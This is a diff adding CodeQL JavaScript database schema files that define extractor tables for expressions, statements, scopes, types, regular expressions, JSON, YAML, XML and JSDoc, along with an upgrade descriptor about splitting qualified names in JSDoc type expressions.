+js_parse_errors (unique int id: @js_parse_error,
+        int toplevel: @toplevel ref,
+        varchar(900) message: string ref,
+        varchar(900) line: string ref);
+
+// regular expressions
+#keyset[parent, idx]
+regexpterm (unique int id: @regexpterm,
+        int kind: int ref,
+        int parent: @regexpparent ref,
+        int idx: int ref,
+        varchar(900) tostring: string ref);
+
+@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr;
+
+case @regexpterm.kind of
+   0 = @regexp_alt
+|  1 = @regexp_seq
+|  2 = @regexp_caret
+|  3 = @regexp_dollar
+|  4 = @regexp_wordboundary
+|  5 = @regexp_nonwordboundary
+|  6 = @regexp_positive_lookahead
+|  7 = @regexp_negative_lookahead
+|  8 = @regexp_star
+|  9 = @regexp_plus
+| 10 = @regexp_opt
+| 11 = @regexp_range
+| 12 = @regexp_dot
+| 13 = @regexp_group
+| 14 = @regexp_normal_constant
+| 15 = @regexp_hex_escape
+| 16 = @regexp_unicode_escape
+| 17 = @regexp_dec_escape
+| 18 = @regexp_oct_escape
+| 19 = @regexp_ctrl_escape
+| 20 = @regexp_char_class_escape
+| 21 = @regexp_id_escape
+| 22 = @regexp_backref
+| 23 = @regexp_char_class
+| 24 = @regexp_char_range
+| 25 = @regexp_positive_lookbehind
+| 26 = @regexp_negative_lookbehind
+| 27 = @regexp_unicode_property_escape
+| 28 = @regexp_quoted_string
+| 29 = @regexp_intersection
+| 30 = @regexp_subtraction;
+
+regexp_parse_errors (unique int id: @regexp_parse_error,
+    int regexp: @regexpterm ref,
+    varchar(900) message: string ref);
+
+@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range;
+@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape;
+@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape;
+@regexp_constant = @regexp_normal_constant | @regexp_char_escape;
+@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead;
+@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind;
+@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind;
+@regexp_anchor = @regexp_dollar | @regexp_caret;
+
+is_greedy (int id: @regexp_quantifier ref);
+range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref);
+range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref);
+is_capture (unique int id: @regexp_group ref, int number: int ref);
+is_named_capture (unique int id: @regexp_group ref, string name: string ref);
+is_inverted (int id: @regexp_char_class ref);
+regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref);
+char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref);
+backref (unique int id: @regexp_backref ref, int value: int ref);
+named_backref (unique int id: @regexp_backref ref, string name: string ref);
+unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref);
+unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref);
+
+// tokens
+#keyset[toplevel, idx]
+tokeninfo (unique int id: @token,
+    int kind: int ref,
+    int toplevel: @toplevel ref,
+    int idx: int ref,
+    varchar(900) value: string ref);
+
+case @token.kind of
+  0 = @token_eof
+| 1 = @token_null_literal
+| 2 = @token_boolean_literal
+| 3 = @token_numeric_literal
+| 4 = @token_string_literal
+| 5 = @token_regular_expression
+| 6 = @token_identifier
+| 7 = @token_keyword
+| 8 = @token_punctuator;
+
+// associate comments with the token immediately following them (which may be EOF)
+next_token (int comment: @comment ref, int token: @token ref);
+
+// JSON
+#keyset[parent, idx]
+json (unique int id: @json_value,
+      int kind: int ref,
+      int parent: @json_parent ref,
+      int idx: int ref,
+      varchar(900) tostring: string ref);
+
+json_literals (varchar(900) value: string ref,
+      varchar(900) raw: string ref,
+      unique int expr: @json_value ref);
+
+json_properties (int obj: @json_object ref,
+      varchar(900) property: string ref,
+      int value: @json_value ref);
+
+json_errors (unique int id: @json_parse_error,
+      varchar(900) message: string ref);
+
+json_locations(unique int locatable: @json_locatable ref,
+      int location: @location_default ref);
+
+case @json_value.kind of
+  0 = @json_null
+| 1 = @json_boolean
+| 2 = @json_number
+| 3 = @json_string
+| 4 = @json_array
+| 5 = @json_object;
+
+@json_parent = @json_object | @json_array | @file;
+
+@json_locatable = @json_value | @json_parse_error;
+
+// locations
+@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr;
+
+@locatable = @file
+    | @ast_node
+    | @comment
+    | @line
+    | @js_parse_error | @regexp_parse_error
+    | @regexpterm
+    | @json_locatable
+    | @token
+    | @cfg_node
+    | @jsdoc | @jsdoc_type_expr | @jsdoc_tag
+    | @yaml_locatable
+    | @xmllocatable
+    | @configLocatable
+    | @template_placeholder_tag;
+
+hasLocation (unique int locatable: @locatable ref,
+    int location: @location ref);
+
+// CFG
+entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref);
+exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref);
+guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref);
+case @guard_node.kind of
+  0 = @falsy_guard
+| 1 = @truthy_guard;
+@condition_guard = @falsy_guard | @truthy_guard;
+
+@synthetic_cfg_node = @entry_node | @exit_node | @guard_node;
+@cfg_node = @synthetic_cfg_node | @expr_parent;
+
+successor (int pred: @cfg_node ref, int succ: @cfg_node ref);
+
+// JSDoc comments
+jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref);
+#keyset[parent, idx]
+jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref,
+            int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref);
+jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+
+#keyset[parent, idx]
+jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+                  int kind: int ref,
+                  int parent: @jsdoc_type_expr_parent ref,
+                  int idx: int ref,
+                  varchar(900) tostring: string ref);
+case @jsdoc_type_expr.kind of
+    0 = @jsdoc_any_type_expr
+|   1 = @jsdoc_null_type_expr
+|   2 = @jsdoc_undefined_type_expr
+|   3 = @jsdoc_unknown_type_expr
+|   4 = @jsdoc_void_type_expr
+|   5 = @jsdoc_identifier_type_expr
+|   6 = @jsdoc_applied_type_expr
+|   7 = @jsdoc_nullable_type_expr
+|   8 = @jsdoc_non_nullable_type_expr
+|   9 = @jsdoc_record_type_expr
+|  10 = @jsdoc_array_type_expr
+|  11 = @jsdoc_union_type_expr
+|  12 = @jsdoc_function_type_expr
+|  13 = @jsdoc_optional_type_expr
+|  14 = @jsdoc_rest_type_expr
+|  15 = @jsdoc_qualified_type_expr
+;
+
+#keyset[id, idx]
+jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref);
+jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref);
+jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref);
+
+@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag;
+
+jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref);
+
+@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property;
+
+@optionalchainable = @call_expr | @propaccess;
+
+isOptionalChaining(int id: @optionalchainable ref);
+
+/**
+ * The time taken for the extraction of a file.
+ * This table contains non-deterministic content.
+ *
+ * The sum of the `time` column for each (`file`, `timerKind`) pair
+ * is the total time taken for extraction of `file`.  The `extractionPhase`
+ * column provides a granular view of the extraction time of the file.
+ */
+extraction_time(
+  int file : @file ref,
+  // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`.
+  int extractionPhase: int ref,
+  // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds
+  int timerKind: int ref,
+  float time: float ref
+)
+
+/**
+* Non-timing related data for the extraction of a single file.
+* This table contains non-deterministic content.
+*/
+extraction_data(
+  int file : @file ref,
+  // the absolute path to the cache file
+  varchar(900) cacheFile: string ref,
+  boolean fromCache: boolean ref,
+  int length: int ref
+)
+
+/*- YAML -*/
+
+#keyset[parent, idx]
+yaml (unique int id: @yaml_node,
+      int kind: int ref,
+      int parent: @yaml_node_parent ref,
+      int idx: int ref,
+      string tag: string ref,
+      string tostring: string ref);
+
+case @yaml_node.kind of
+  0 = @yaml_scalar_node
+| 1 = @yaml_mapping_node
+| 2 = @yaml_sequence_node
+| 3 = @yaml_alias_node
+;
+
+@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node;
+
+@yaml_node_parent = @yaml_collection_node | @file;
+
+yaml_anchors (unique int node: @yaml_node ref,
+              string anchor: string ref);
+
+yaml_aliases (unique int alias: @yaml_alias_node ref,
+              string target: string ref);
+
+yaml_scalars (unique int scalar: @yaml_scalar_node ref,
+              int style: int ref,
+              string value: string ref);
+
+yaml_errors (unique int id: @yaml_error,
+             string message: string ref);
+
+yaml_locations(unique int locatable: @yaml_locatable ref,
+             int location: @location_default ref);
+
+@yaml_locatable = @yaml_node | @yaml_error;
+
+/*- XML Files -*/
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*- Configuration files with key value pairs -*/
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties
new file mode 100644
index 000000000000..c26b1e1de099
--- /dev/null
+++ b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties
@@ -0,0 +1,2 @@
+description: split up qualified names in jsdoc type exprs
+compatibility: partial
diff --git a/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/old.dbscheme b/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/old.dbscheme
new file mode 100644
index 000000000000..c88c69174bd0
--- /dev/null
+++ b/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/old.dbscheme
@@ -0,0 +1,1190 @@
+/*** Standard fragments ***/
+
+/*- Files and folders -*/
+
+/**
+ * The location of an element.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*- Lines of code -*/
+
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+/*- External data -*/
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+/*- Source location prefix -*/
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/*- JavaScript-specific part -*/
+
+@location = @location_default
+
+@sourceline = @locatable;
+
+filetype(
+  int file: @file ref,
+  string filetype: string ref
+)
+
+// top-level code fragments
+toplevels (unique int id: @toplevel,
+           int kind: int ref);
+
+is_externs (int toplevel: @toplevel ref);
+
+case @toplevel.kind of
+   0 = @script
+|  1 = @inline_script
+|  2 = @event_handler
+|  3 = @javascript_url
+|  4 = @template_toplevel;
+
+is_module (int tl: @toplevel ref);
+is_nodejs (int tl: @toplevel ref);
+is_es2015_module (int tl: @toplevel ref);
+is_closure_module (int tl: @toplevel ref);
+
+@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag;
+toplevel_parent_xml_node(
+  unique int toplevel: @toplevel ref,
+  int xmlnode: @xml_node_with_code ref);
+
+xml_element_parent_expression(
+  unique int xmlnode: @xmlelement ref,
+  int expression: @expr ref,
+  int index: int ref);
+
+// statements
+#keyset[parent, idx]
+stmts (unique int id: @stmt,
+       int kind: int ref,
+       int parent: @stmt_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+stmt_containers (unique int stmt: @stmt ref,
+       int container: @stmt_container ref);
+
+jump_targets (unique int jump: @stmt ref,
+       int target: @stmt ref);
+
+@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer;
+@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration;
+
+case @stmt.kind of
+   0 = @empty_stmt
+|  1 = @block_stmt
+|  2 = @expr_stmt
+|  3 = @if_stmt
+|  4 = @labeled_stmt
+|  5 = @break_stmt
+|  6 = @continue_stmt
+|  7 = @with_stmt
+|  8 = @switch_stmt
+|  9 = @return_stmt
+| 10 = @throw_stmt
+| 11 = @try_stmt
+| 12 = @while_stmt
+| 13 = @do_while_stmt
+| 14 = @for_stmt
+| 15 = @for_in_stmt
+| 16 = @debugger_stmt
+| 17 = @function_decl_stmt
+| 18 = @var_decl_stmt
+| 19 = @case
+| 20 = @catch_clause
+| 21 = @for_of_stmt
+| 22 = @const_decl_stmt
+| 23 = @let_stmt
+| 24 = @legacy_let_stmt
+| 25 = @for_each_stmt
+| 26 = @class_decl_stmt
+| 27 = @import_declaration
+| 28 = @export_all_declaration
+| 29 = @export_default_declaration
+| 30 = @export_named_declaration
+| 31 = @namespace_declaration
+| 32 = @import_equals_declaration
+| 33 = @export_assign_declaration
+| 34 = @interface_declaration
+| 35 = @type_alias_declaration
+| 36 = @enum_declaration
+| 37 = @external_module_declaration
+| 38 = @export_as_namespace_declaration
+| 39 = @global_augmentation_declaration
+| 40 = @using_decl_stmt
+;
+
+@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt;
+
+@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration;
+
+@namespace_definition = @namespace_declaration | @enum_declaration;
+@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member;
+
+is_instantiated(unique int decl: @namespace_declaration ref);
+
+@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field;
+has_declare_keyword(unique int stmt: @declarable_node ref);
+
+is_for_await_of(unique int forof: @for_of_stmt ref);
+
+// expressions
+#keyset[parent, idx]
+exprs (unique int id: @expr,
+       int kind: int ref,
+       int parent: @expr_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+literals (varchar(900) value: string ref,
+       varchar(900) raw: string ref,
+       unique int expr: @expr_or_type ref);
+
+enclosing_stmt (unique int expr: @expr_or_type ref,
+       int stmt: @stmt ref);
+
+expr_containers (unique int expr: @expr_or_type ref,
+       int container: @stmt_container ref);
+
+array_size (unique int ae: @arraylike ref,
+       int sz: int ref);
+
+is_delegating (int yield: @yield_expr ref);
+
+@expr_or_stmt = @expr | @stmt;
+@expr_or_type = @expr | @typeexpr;
+@expr_parent = @expr_or_stmt | @property | @function_typeexpr;
+@arraylike = @array_expr | @array_pattern;
+@type_annotation = @typeexpr | @jsdoc_type_expr;
+@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel;
+
+case @expr.kind of
+   0 = @label
+|  1 = @null_literal
+|  2 = @boolean_literal
+|  3 = @number_literal
+|  4 = @string_literal
+|  5 = @regexp_literal
+|  6 = @this_expr
+|  7 = @array_expr
+|  8 = @obj_expr
+|  9 = @function_expr
+| 10 = @seq_expr
+| 11 = @conditional_expr
+| 12 = @new_expr
+| 13 = @call_expr
+| 14 = @dot_expr
+| 15 = @index_expr
+| 16 = @neg_expr
+| 17 = @plus_expr
+| 18 = @log_not_expr
+| 19 = @bit_not_expr
+| 20 = @typeof_expr
+| 21 = @void_expr
+| 22 = @delete_expr
+| 23 = @eq_expr
+| 24 = @neq_expr
+| 25 = @eqq_expr
+| 26 = @neqq_expr
+| 27 = @lt_expr
+| 28 = @le_expr
+| 29 = @gt_expr
+| 30 = @ge_expr
+| 31 = @lshift_expr
+| 32 = @rshift_expr
+| 33 = @urshift_expr
+| 34 = @add_expr
+| 35 = @sub_expr
+| 36 = @mul_expr
+| 37 = @div_expr
+| 38 = @mod_expr
+| 39 = @bitor_expr
+| 40 = @xor_expr
+| 41 = @bitand_expr
+| 42 = @in_expr
+| 43 = @instanceof_expr
+| 44 = @logand_expr
+| 45 = @logor_expr
+| 47 = @assign_expr
+| 48 = @assign_add_expr
+| 49 = @assign_sub_expr
+| 50 = @assign_mul_expr
+| 51 = @assign_div_expr
+| 52 = @assign_mod_expr
+| 53 = @assign_lshift_expr
+| 54 = @assign_rshift_expr
+| 55 = @assign_urshift_expr
+| 56 = @assign_or_expr
+| 57 = @assign_xor_expr
+| 58 = @assign_and_expr
+| 59 = @preinc_expr
+| 60 = @postinc_expr
+| 61 = @predec_expr
+| 62 = @postdec_expr
+| 63 = @par_expr
+| 64 = @var_declarator
+| 65 = @arrow_function_expr
+| 66 = @spread_element
+| 67 = @array_pattern
+| 68 = @object_pattern
+| 69 = @yield_expr
+| 70 = @tagged_template_expr
+| 71 = @template_literal
+| 72 = @template_element
+| 73 = @array_comprehension_expr
+| 74 = @generator_expr
+| 75 = @for_in_comprehension_block
+| 76 = @for_of_comprehension_block
+| 77 = @legacy_letexpr
+| 78 = @var_decl
+| 79 = @proper_varaccess
+| 80 = @class_expr
+| 81 = @super_expr
+| 82 = @newtarget_expr
+| 83 = @named_import_specifier
+| 84 = @import_default_specifier
+| 85 = @import_namespace_specifier
+| 86 = @named_export_specifier
+| 87 = @exp_expr
+| 88 = @assign_exp_expr
+| 89 = @jsx_element
+| 90 = @jsx_qualified_name
+| 91 = @jsx_empty_expr
+| 92 = @await_expr
+| 93 = @function_sent_expr
+| 94 = @decorator
+| 95 = @export_default_specifier
+| 96 = @export_namespace_specifier
+| 97 = @bind_expr
+| 98 = @external_module_reference
+| 99 = @dynamic_import
+| 100 = @expression_with_type_arguments
+| 101 = @prefix_type_assertion
+| 102 = @as_type_assertion
+| 103 = @export_varaccess
+| 104 = @decorator_list
+| 105 = @non_null_assertion
+| 106 = @bigint_literal
+| 107 = @nullishcoalescing_expr
+| 108 = @e4x_xml_anyname
+| 109 = @e4x_xml_static_attribute_selector
+| 110 = @e4x_xml_dynamic_attribute_selector
+| 111 = @e4x_xml_filter_expression
+| 112 = @e4x_xml_static_qualident
+| 113 = @e4x_xml_dynamic_qualident
+| 114 = @e4x_xml_dotdotexpr
+| 115 = @import_meta_expr
+| 116 = @assignlogandexpr
+| 117 = @assignlogorexpr
+| 118 = @assignnullishcoalescingexpr
+| 119 = @template_pipe_ref
+| 120 = @generated_code_expr
+| 121 = @satisfies_expr
+;
+
+@varaccess = @proper_varaccess | @export_varaccess;
+@varref = @var_decl | @varaccess;
+
+@identifier = @label | @varref | @type_identifier;
+
+@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal;
+
+@propaccess = @dot_expr | @index_expr;
+
+@invokeexpr = @new_expr | @call_expr;
+
+@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element;
+
+@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr;
+
+@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr;
+
+@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr;
+
+@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr;
+
+@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr;
+
+@pattern = @varref | @array_pattern | @object_pattern;
+
+@comprehension_expr = @array_comprehension_expr | @generator_expr;
+
+@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block;
+
+@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier;
+
+@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier;
+
+@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier;
+
+@type_assertion = @as_type_assertion | @prefix_type_assertion;
+
+@class_definition = @class_decl_stmt | @class_expr;
+@interface_definition = @interface_declaration | @interface_typeexpr;
+@class_or_interface = @class_definition | @interface_definition;
+
+@lexical_decl = @var_decl | @type_decl;
+@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access;
+@lexical_ref = @lexical_decl | @lexical_access;
+
+@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector;
+@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident;
+
+expr_contains_template_tag_location(
+  int expr: @expr ref,
+  int location: @location ref
+);
+
+@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file;
+
+template_placeholder_tag_info(
+  unique int node: @template_placeholder_tag,
+  int parentNode: @template_placeholder_tag_parent ref,
+  varchar(900) raw: string ref
+);
+
+// scopes
+scopes (unique int id: @scope,
+        int kind: int ref);
+
+case @scope.kind of
+   0 = @global_scope
+|  1 = @function_scope
+|  2 = @catch_scope
+|  3 = @module_scope
+|  4 = @block_scope
+|  5 = @for_scope
+|  6 = @for_in_scope // for-of scopes work the same as for-in scopes
+|  7 = @comprehension_block_scope
+|  8 = @class_expr_scope
+|  9 = @namespace_scope
+| 10 = @class_decl_scope
+| 11 = @interface_scope
+| 12 = @type_alias_scope
+| 13 = @mapped_type_scope
+| 14 = @enum_scope
+| 15 = @external_module_scope
+| 16 = @conditional_type_scope;
+
+scopenodes (unique int node: @ast_node ref,
+            int scope: @scope ref);
+
+scopenesting (unique int inner: @scope ref,
+              int outer: @scope ref);
+
+// functions
+@function = @function_decl_stmt | @function_expr | @arrow_function_expr;
+
+@parameterized = @function | @catch_clause;
+@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr;
+
+is_generator (int fun: @function ref);
+has_rest_parameter (int fun: @function ref);
+is_async (int fun: @function ref);
+
+// variables and lexically scoped type names
+#keyset[scope, name]
+variables (unique int id: @variable,
+           varchar(900) name: string ref,
+           int scope: @scope ref);
+
+#keyset[scope, name]
+local_type_names (unique int id: @local_type_name,
+                  varchar(900) name: string ref,
+                  int scope: @scope ref);
+
+#keyset[scope, name]
+local_namespace_names (unique int id: @local_namespace_name,
+                       varchar(900) name: string ref,
+                       int scope: @scope ref);
+
+is_arguments_object (int id: @variable ref);
+
+@lexical_name = @variable | @local_type_name | @local_namespace_name;
+
+@bind_id = @varaccess | @local_var_type_access;
+bind (unique int id: @bind_id ref,
+      int decl: @variable ref);
+
+decl (unique int id: @var_decl ref,
+      int decl: @variable ref);
+
+@typebind_id = @local_type_access | @export_varaccess;
+typebind (unique int id: @typebind_id ref,
+          int decl: @local_type_name ref);
+
+@typedecl_id = @type_decl | @var_decl;
+typedecl (unique int id: @typedecl_id ref,
+          int decl: @local_type_name ref);
+
+namespacedecl (unique int id: @var_decl ref,
+               int decl: @local_namespace_name ref);
+
+@namespacebind_id = @local_namespace_access | @export_varaccess;
+namespacebind (unique int id: @namespacebind_id ref,
+               int decl: @local_namespace_name ref);
+
+
+// properties in object literals, property patterns in object patterns, and method declarations in classes
+#keyset[parent, index]
+properties (unique int id: @property,
+            int parent: @property_parent ref,
+            int index: int ref,
+            int kind: int ref,
+            varchar(900) tostring: string ref);
+
+case @property.kind of
+  0 = @value_property
+| 1 = @property_getter
+| 2 = @property_setter
+| 3 = @jsx_attribute
+| 4 = @function_call_signature
+| 5 = @constructor_call_signature
+| 6 = @index_signature
+| 7 = @enum_member
+| 8 = @proper_field
+| 9 = @parameter_field
+| 10 = @static_initializer
+;
+
+@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration;
+@property_accessor = @property_getter | @property_setter;
+@call_signature = @function_call_signature | @constructor_call_signature;
+@field = @proper_field | @parameter_field;
+@field_or_vardeclarator = @field | @var_declarator;
+
+is_computed (int id: @property ref);
+is_method   (int id: @property ref);
+is_static   (int id: @property ref);
+is_abstract_member (int id: @property ref);
+is_const_enum (int id: @enum_declaration ref);
+is_abstract_class (int id: @class_decl_stmt ref);
+
+has_public_keyword (int id: @property ref);
+has_private_keyword (int id: @property ref);
+has_protected_keyword (int id: @property ref);
+has_readonly_keyword (int id: @property ref);
+has_type_keyword (int id: @type_keyword_operand ref);
+is_optional_member (int id: @property ref);
+has_definite_assignment_assertion (int id: @field_or_vardeclarator ref);
+is_optional_parameter_declaration (unique int parameter: @pattern ref);
+
+#keyset[constructor, param_index]
+parameter_fields(
+  unique int field: @parameter_field ref,
+  int constructor: @function_expr ref,
+  int param_index: int ref
+);
+
+// types
+#keyset[parent, idx]
+typeexprs (
+  unique int id: @typeexpr,
+  int kind: int ref,
+  int parent: @typeexpr_parent ref,
+  int idx: int ref,
+  varchar(900) tostring: string ref
+);
+
+case @typeexpr.kind of
+  0 = @local_type_access
+| 1 = @type_decl
+| 2 = @keyword_typeexpr
+| 3 = @string_literal_typeexpr
+| 4 = @number_literal_typeexpr
+| 5 = @boolean_literal_typeexpr
+| 6 = @array_typeexpr
+| 7 = @union_typeexpr
+| 8 = @indexed_access_typeexpr
+| 9 = @intersection_typeexpr
+| 10 = @parenthesized_typeexpr
+| 11 = @tuple_typeexpr
+| 12 = @keyof_typeexpr
+| 13 = @qualified_type_access
+| 14 = @generic_typeexpr
+| 15 = @type_label
+| 16 = @typeof_typeexpr
+| 17 = @local_var_type_access
+| 18 = @qualified_var_type_access
+| 19 = @this_var_type_access
+| 20 = @predicate_typeexpr
+| 21 = @interface_typeexpr
+| 22 = @type_parameter
+| 23 = @plain_function_typeexpr
+| 24 = @constructor_typeexpr
+| 25 = @local_namespace_access
+| 26 = @qualified_namespace_access
+| 27 = @mapped_typeexpr
+| 28 = @conditional_typeexpr
+| 29 = @infer_typeexpr
+| 30 = @import_type_access
+| 31 = @import_namespace_access
+| 32 = @import_var_type_access
+| 33 = @optional_typeexpr
+| 34 = @rest_typeexpr
+| 35 = @bigint_literal_typeexpr
+| 36 = @readonly_typeexpr
+| 37 = @template_literal_typeexpr
+;
+
+@typeref = @typeaccess | @type_decl;
+@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access;
+@typeexpr_parent = @expr | @stmt | @property | @typeexpr;
+@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr;
+@typeaccess = @local_type_access | @qualified_type_access | @import_type_access;
+@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access;
+@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access;
+@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access;
+
+@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr;
+
+// types
+types (
+  unique int id: @type,
+  int kind: int ref,
+  varchar(900) tostring: string ref
+);
+
+#keyset[parent, idx]
+type_child (
+  int child: @type ref,
+  int parent: @type ref,
+  int idx: int ref
+);
+
